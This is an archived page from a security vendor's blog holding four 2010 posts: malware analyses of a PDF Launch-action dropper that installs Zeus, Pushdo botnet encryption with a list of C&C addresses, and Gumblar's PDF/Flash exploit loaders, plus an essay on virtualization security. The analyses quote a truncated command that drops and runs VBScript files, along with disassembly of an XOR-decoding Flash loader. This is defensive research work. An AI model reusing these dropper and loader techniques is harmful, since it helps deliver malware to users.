Stop the (Network Security) Insanity!
August 18, 2010 at 9:09 am
0day or not today: exploit in the wildby Bing Liu
May 4, 2010 at 2:17 pm Although it is not a new idea to run an executable from within a PDF, the researcher Didier Stevens present a trick technique to make it more practical, “in the real world”. In this post I will dissect a PDF document using this trick (MD5: 1dcd4a3f5d05433fcebf88d9138a1966), indeed found in the wild. As one of vendors affected, Adobe was investigating this issue and give a temporary solution. But no patch is available yet. In fact there maybe no patch at all… and although CVE number CVE-2010-1240 is assigned for this issue, Some people think it is not a vulnerability, for it requires user interaction. 0day or not, and vulnerability or not, it *is* a threat either was – and Fortinet provided protection for the customer: “PDF/Pidief.BV!exploit” for AV and “PDF.With.Launch.Action” for IPS, each tackling the threat from a different angle for better resistance to threat variation. Since no patch is available from vendors like Adobe yet, it is also important for you to be aware of the form of this trick found in the wild. The malicious PDF document source code looks like the following: Following is what you will see when open this PDF with latest Adobe Reader (9.3.2). When you click the button “Open”, the following is executed: /P (/c echo Set fso=CreateObject(”Scripting.FileSystemObject”) > script.vbs [...Truncated...] && script.vbs && batscript.vbs This effectively drops, populates and executes a VB script called script.vbs, which final contents are the following: Set fso=CreateObject(”Scripting.FileSystemObject”) Basically, it merely extracts an embedded “batscript.vbs” in the PDF document and drops it in the current directory. This “batscript.vbs” contains the following: Dim b This essentially drops a binary file called game.exe from an array of binary codes and runs it. In turn, game.exe downloads and installs an instance of the infamous Zeus Bot, whose main purpose is to steal (including using live interception) banking credentials and information. All that from a simple user click. Consequently, if you happen to run into such a dialog when opening a PDF document, consider that there might be something rotten in the Kingdom of Denmark (or at least, in that document); and do not be too prompt to click “open”. Fortinet detect game.exe as W32/Agent.DJBN!tr and the Zeus bot instance as W32/Zbot.AISS!tr. A detailed analysis of the Zeus Botnet is avalaible on the Fortiguard Center. Guillaume Lovet contributed to this post. Virtualization and Security: What is real and what is FUD?by Anthony James
February 5, 2010 at 9:59 am There seems to be a lot of discussion about virtualization, and rightly so. Virtualization promises dramatic, immediate benefits for many customers. The purpose of this post is not to reiterate those benefits; a tremendous amount of information already exists. However, as a security professional, I am concerned with the sensationalizing of virtualized security and how it is proposed as an entirely new sector of security within a virtualized environment. With a few quick Internet searches, we are met with a barrage of articles from proposed consulting expertise to unique virtual appliances promising a solution to a yet-to-be explained virtual problem (pun intended). The first question I always ask is, “how is virtualized security different than traditional security?” The resounding response I most often hear when I ask industry peers is that virtual security is a way to secure virtual server environments (obviously). When I dig a little deeper, I get the response of, “if a virtual server has been compromised (lets say a virus/worm), it will be able to cross-infect all of the other virtual servers co-residing within the same physical server hardware. Therefore customers need to provide a virtual security layer between each of the virtual servers.” Sounds like a logical conclusion – if you follow this argument. While I feel there is some validation to that argument, I am concerned that there is a lot of misinformation and FUD (fear, uncertainty, doubt) being spread based on a lack of understanding of the technology and potential security threats focused on virtualization. Consider a classic data center before virtualization appeared. The design often consisted of a server farm front-ended by a load-balancer / application accelerator, which often lies behind a layer of security solutions (firewall, web content filtering, antivirus filtering, IPS etc.). In a traditional design, the servers were optimized for performance by the application acceleration layer and the security layer protected the overall infrastructure from the threat landscape. In reality, this physical server farm infrastructure is prone to the same potential fate as its virtualized counterpart – co-resident physical servers can just as easily infect each other if compromised, but that doesn’t mean we implement additional security layers between every server, it just meant that we strengthened the policies and security measures surrounding the server infrastructure. By comparing the virtualized server farm and the physical server farm, the security concerns are indeed similar. But currently we are told that we need to implement another approach to securing our virtualized server farm just because it has been virtualized? Why is this the focus? Can’t we follow the traditional architectures? If you were of the higher-security model and you had each server compartmentalized behind a dedicated security device, you can still achieve the same with virtualization by only allowing each virtual server to communicate via an external security device – which will also provide increased visibility into the communications between each server. I will agree that virtualization provides a tremendous amount of flexibility that is difficult to achieve with traditional server infrastructures, and yes, with flexibility comes potential security concerns opening up the door for new security measures. However, by rethinking traditional security solutions we can surely adapt to secure this new frontier of virtualization. My argument is not with virtualization, as I wrote above I do believe it provides immediate tangible benefits for many customers. However I am concerned that a lot of vendors are trying to ride the wave of the virtualization success by manufacturing concepts and concerns that are not 100 percent accurate, or worse, not in the best interest of the customers. Pushdo Revolutions: Communication Encryption and Decoy Trafficby Kyle Yang
February 4, 2010 at 11:37 am It’s been two months since we revealed the 3rd Generation Pushdo/Cutwail/Webwail Botnet communication protocol and encryption. Recently, while researching a new bot (GoolBot), we found another Pushdo-like malware spreading with its help. After reversing, it became clear that it was a brand new evolution of the infamous multi-malware loader, for two essential reasons:
This latter point explains why so many webmasters are reporting that SSL traffic (coming from different IPs) is much higher than normal these days. The good news for them is that the additional traffic is not malicious (application-wise, that is), and the bad news is that an increase of actual viewers is not the cause of it: it’s just some dummy data generated by calls to the QueryPerformanceCounter API in the latest Pushdo evolution. Memory snapshots (from a pushdo infected machine) below illustrate the former point about encryption. Before encryption: After encryption (same memory space), just before sending:
As an interesting side note, as we will see below, here is a list of those C&Cs: 75.126.159.19:443
75.126.159.19:443 94.75.233.173:443 94.75.233.174:443 94.75.233.171 94.75.233.172 89.149.254.213 89.149.244.141 89.149.244.23 aaa.oduvanchic.com aaa.news2days.ru antisgetout.cn fire***eye.com ****briankrebs.com This time, the author(s) was/were kind enough to leave the PDB filepath Historically, it has been common for malware authors to send messages hidden within their binaries – often as strings. There are, however, other ways. The last listed domain above, presumably registered by the author(s) of this Pushdo variant used for C&C, is an obvious dig at Brian Krebs, author of Krebs on Security (previously The Washington Post). Indeed, this is not the first time. We had a look at the variant referenced in this post (Harebot, detected by Fortinet as W32/Agent.LKU!tr) that was circulating around January 17th, 2010. In fact, this variant is a dropper that drops the same updated 2nd generation Pushdo. These are the main points we observed with this variant seen around January 17th:
Therefore, we can see the development path the authors are taking with this new variation. In January, they had updated to the new encrypted protocol but did not have the SSL traffic module included. Now, in February, we see the SSL module emerge. Could it shed some light on the question “are all Pushdo evolutions from the same author(s)”? -Kyle Guillaume Lovet and Derek Manky contributed to this post. Inside Gumblar: Looking for the triggerby Bing Liu
January 19, 2010 at 9:52 am Appearing in the first quarter of 2009, Gumblar spread rapidly and has become one of the biggest threats today[1]. Gumblar infects PC by exploiting vulnerabilities of Web Browsers and Browser Plugins, such as Adobe Acrobat Reader and Flash player. There is some good information available regarding Gumblar, addressing its Javascript obfuscation, the affected domains and its C&C communication[2][3][4]. However, scarce detail is available about the very vulnerabilities and exploits leveraged by Gumblar, and the question “How are the malicious PDF and Flash files crafted?” remains mostly unanswered. This is the very question we will give a try at today. If you installed Adobe Reader, Acrobat or Flash player, you stand big chances to be fed malicious samples when you visit an infected web site: After fingerprinting the victim’s system, Gumblar uses obfuscated javascript to feed these samples to the visitors of the compromised sites running PHP. These malicious samples (PDF and Flash) in turn exploit vulnerabilities in the software handling them on the victim’s system; upon successful exploitation, the victim becomes effectively infected by Gumblar – without even noticing, since no action was required from the victim. The following analysis concerns those malicious PDF and Flash files. 1. PDF Exploit Example Many recent Acrobat / Acrobat Reader vulnerabilities are in fact triggered by javascript code embedded in the document: malformed arguments are passed to vulnerable methods. In our case, the embedded javascript code (compressed, as usual – though surprisingly short) looks like this once uncompressed: IPfFw=this.info.title;————————————————————————–Store the real code Interestingly, it appears that the real code is stored in the file title, which is what makes the JavaScript part so short. The following is the de-obfuscated code stored in the file title: [...] As commented inline, it therefore tries to exploit CVE-2008-2992, CVE-2008-0655 and CVE-2009-0927. And so we found the exploits triggers. 2. Flash Exploit Example Gumblar uses a similar run-time packer as the one discussed in Flash Mob Episode II: Attack of the Clones, thus I will only address the differences here. Again, I had to summon swfdump because swfscan failed to decompile the ActionScript. The analysis below is based on the disassembly provided by swfdump. The unpacking is done in the constructor of class Main: constructor * <q>[public]::Main=Main/Main()(0 params, 0 optional) slot 4: var <q>[packageinternal]::loader:<q>[public]flash.display::Loaderslot 3: var <q>[packageinternal]::i:<q>[public]::Numberslot 2: var <q>[packageinternal]::bytes:<q>[public]flash.utils::ByteArrayslot 1: var <q>[packageinternal]::SWF1:<q>[public]::Class 00019) + 2:2 coerce <q>[public]::Class 00020) + 2:2 setslot 1 [...] 00024) + 2:2 getslot 1 00025) + 2:2 construct 0 params 00026) + 2:2 getlex <q>[public]flash.utils::ByteArray 00027) + 3:2 astypelate 00028) + 2:2 coerce <q>[public]flash.utils::ByteArray————————————Converted to ByteArray 00029) + 2:2 setslot 2——————————————————————Encoded flash data [...] 00032) + 1:2 pushbyte 0 00033) + 2:2 convert_d 00034) + 2:2 setslot 3——————————————————————-Counter i 00035) + 0:2 jump ->58————————————————Go to test condition of while loop 00036) + 0:2 label——————————————————Loop Start [...] 00043) + 3:2 getslot 2 00044) + 3:2 getscopeobject 1 00045) + 4:2 getslot 3 00046) + 4:2 getproperty <l,multi>{[private]Main,…[Truncated]}————————–Get ByteArray[i] 00047) + 3:2 pushbyte 61—————————————————————Decoding key 00048) + 4:2 bitxor———————————————————————-Decoding algorithm:XOR 00049) + 3:2 setproperty <l,multi>{[private]Main,…[Truncated]}————————–Store decoded flash [...] 00059) + 1:2 getslot 3 00060) + 1:2 getscopeobject 1 00061) + 2:2 getslot 2 00062) + 2:2 getproperty <q>[public]::length 00063) + 2:2 iflt ->36——————————————————————-Loop if counter i is lower than length 00064) + 0:2 debugline 23 00065) + 0:2 getscopeobject 1 00066) + 1:2 findpropstrict <q>[public]flash.display::Loader 00067) + 2:2 constructprop <q>[public]flash.display::Loader, 0 params 00068) + 2:2 coerce <q>[public]flash.display::Loader 00069) + 2:2 setslot 4————————Initialize a flash.display::Loader to load decoded flash [...] 00086) + 1:2 getslot 4 00087) + 1:2 getscopeobject 1 00088) + 2:2 getslot 2 00089) + 2:2 callpropvoid <q>[public]::loadBytes, 1 params——————————–Load decoded flash [...] } As can be seen above, the same decryption [057] 10350 DEFINEBINARY defines id 0001————————————————DEFINEBINARY Tag(0×57) [...] [04c] 21 SYMBOLCLASS exports 0001 as “Main_SWF1″—————————————————-Export Binary data as “Main_SWF1″ The encoded flash data is stored in tag DEFINEBINARY! The decoded flash is the same as F2.swf, as discussed in Flash Mob Episode II: Attack of the Clones. It tries to exploit CVE-2007-0071 using a multiplexing technique. Trigger found! As a conclusion, Gumblar hides its weapons carefully: Sitting in “resources” zones, the real exploit code is separated from the JavaScript/ActionScript part, which is only used to decrypt and load it. Using this and server-side polymorphism, no doubt Gumblar successfully evades many a detection. |